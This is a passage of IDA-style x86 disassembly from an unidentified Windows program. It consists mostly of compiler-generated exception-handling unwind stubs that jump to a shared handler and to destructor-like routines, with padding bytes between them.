; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D1C0	proc near		; DATA XREF: sub_40D1C0+2o
		mov	eax, offset dword_43F520
		jmp	sub_436868
SEH_40D1C0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438E8B:				; DATA XREF: ___:0043F594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D610	proc near		; DATA XREF: sub_40D610+2o
		mov	eax, offset dword_43F568
		jmp	sub_436868
SEH_40D610	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DBD0	proc near		; DATA XREF: sub_40DBD0+2o
		mov	eax, offset dword_43F5D8
		jmp	sub_436868
SEH_40DBD0	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438FC8:				; DATA XREF: ___:0043F69Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2A0	proc near		; DATA XREF: sub_40E2A0+2o
		mov	eax, offset dword_43F670
		jmp	sub_436868
SEH_40E2A0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439018:				; DATA XREF: ___:0043F6F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E820	proc near		; DATA XREF: sub_40E820+2o
		mov	eax, offset dword_43F6C8
		jmp	sub_436868
SEH_40E820	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439068:				; DATA XREF: ___:0043F74Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ECB0	proc near		; DATA XREF: sub_40ECB0+2o
		mov	eax, offset dword_43F720
		jmp	sub_436868
SEH_40ECB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EDF0	proc near		; DATA XREF: sub_40EDF0+2o
		mov	eax, offset dword_43F760
		jmp	sub_436868
SEH_40EDF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4390B8:				; DATA XREF: ___:0043F7BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4390E8:				; DATA XREF: ___:0040F1C8o
		mov	eax, offset dword_43F790
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439118:				; DATA XREF: ___:0043F81Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B54
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F680	proc near		; DATA XREF: sub_40F680+2o
		mov	eax, offset dword_43F7F0
		jmp	sub_436868
SEH_40F680	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439308:				; DATA XREF: ___:0043F97Co
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FE20	proc near		; DATA XREF: sub_40FE20+2o
		mov	eax, offset dword_43F950
		jmp	sub_436868
SEH_40FE20	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43943B:				; DATA XREF: ___:0043FA34o
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439451:				; DATA XREF: ___:0043FA44o
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43945C:				; DATA XREF: ___:0043FA4Co
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439467:				; DATA XREF: ___:0043FA54o
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439472:				; DATA XREF: ___:0043FA5Co
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43947D:				; DATA XREF: ___:0043FA64o
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439488:				; DATA XREF: ___:0043FA6Co
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439493:				; DATA XREF: ___:0043FA74o
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394A9:				; DATA XREF: ___:0043FA84o
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394B4:				; DATA XREF: ___:0043FA8Co
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394BF:				; DATA XREF: ___:0043FA94o
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439539:				; DATA XREF: ___:0043FAE4o
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439544:				; DATA XREF: ___:0043FAECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439552:				; DATA XREF: ___:0043FAF4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439560:				; DATA XREF: ___:0043FAFCo
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439581:				; DATA XREF: ___:0043FB14o
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439597:				; DATA XREF: ___:0043FB24o
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395AD:				; DATA XREF: ___:0043FB34o
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395B8:				; DATA XREF: ___:0043FB3Co
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395CE:				; DATA XREF: ___:0043FB4Co
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395D9:				; DATA XREF: ___:0043FB54o
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395EF:				; DATA XREF: ___:0043FB6Co
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395FA:				; DATA XREF: ___:0043FB7Co
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439605:				; DATA XREF: ___:0043FB84o
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43961B:				; DATA XREF: ___:0043FB9Co
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439631:				; DATA XREF: ___:0043FBB4o
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439647:				; DATA XREF: ___:0043FBC4o
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439652:				; DATA XREF: ___:0043FBCCo
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439673:				; DATA XREF: sub_40FFE0+8o
		mov	eax, offset dword_43FA08
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4118E0	proc near		; DATA XREF: sub_4118E0+2o
		mov	eax, offset dword_43FC18
		jmp	sub_436868
SEH_4118E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411990	proc near		; DATA XREF: sub_411990+2o
		mov	eax, offset dword_43FC48
		jmp	sub_436868
SEH_411990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439758:				; DATA XREF: ___:0043FCA4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A10	proc near		; DATA XREF: sub_411A10+2o
		mov	eax, offset dword_43FC78
		jmp	sub_436868
SEH_411A10	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4397B8:				; DATA XREF: ___:0043FCFCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411AD0	proc near		; DATA XREF: sub_411AD0+2o
		mov	eax, offset dword_43FCD0
		jmp	sub_436868
SEH_411AD0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411BC0	proc near		; DATA XREF: sub_411BC0+8o
		mov	eax, offset dword_43FD28
		jmp	sub_436868
SEH_411BC0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439888:				; DATA XREF: ___:0043FDD4o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412060	proc near		; DATA XREF: sub_412060+8o
		mov	eax, offset dword_43FDA8
		jmp	sub_436868
SEH_412060	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439930:				; DATA XREF: ___:0043FE74o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_43994E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43994E:				; CODE XREF: ___:00439940j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412730	proc near		; DATA XREF: sub_412730+2o
		mov	eax, offset dword_43FE48
		jmp	sub_436868
SEH_412730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439978:				; DATA XREF: ___:0043FEACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4129F0	proc near		; DATA XREF: sub_4129F0+8o
		mov	eax, offset dword_43FE80
		jmp	sub_436868
SEH_4129F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C90	proc near		; DATA XREF: sub_412C90+2o
		mov	eax, offset dword_43FEB8
		jmp	sub_436868
SEH_412C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4399B8:				; DATA XREF: ___:0043FF14o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4399EE:				; DATA XREF: ___:00412D38o
		mov	eax, offset dword_43FEE8
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439A1B:				; DATA XREF: ___:0043FF74o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4131A0	proc near		; DATA XREF: sub_4131A0+2o
		mov	eax, offset dword_43FF48
		jmp	sub_436868
SEH_4131A0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439A6B:				; DATA XREF: ___:0043FFBCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132A0	proc near		; DATA XREF: sub_4132A0+2o
		mov	eax, offset dword_43FF90
		jmp	sub_436868
SEH_4132A0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413360	proc near		; DATA XREF: sub_413360+2o
		mov	eax, offset dword_43FFD8
		jmp	sub_436868
SEH_413360	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413450	proc near		; DATA XREF: sub_413450+2o
		mov	eax, offset dword_440010
		jmp	sub_436868
SEH_413450	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413590	proc near		; DATA XREF: sub_413590+2o
		mov	eax, offset dword_440040
		jmp	sub_436868
SEH_413590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439B18:				; DATA XREF: ___:0044009Co
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4136F0	proc near		; DATA XREF: sub_4136F0+2o
		mov	eax, offset dword_440070
		jmp	sub_436868
SEH_4136F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B38:				; DATA XREF: ___:004400D4o
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
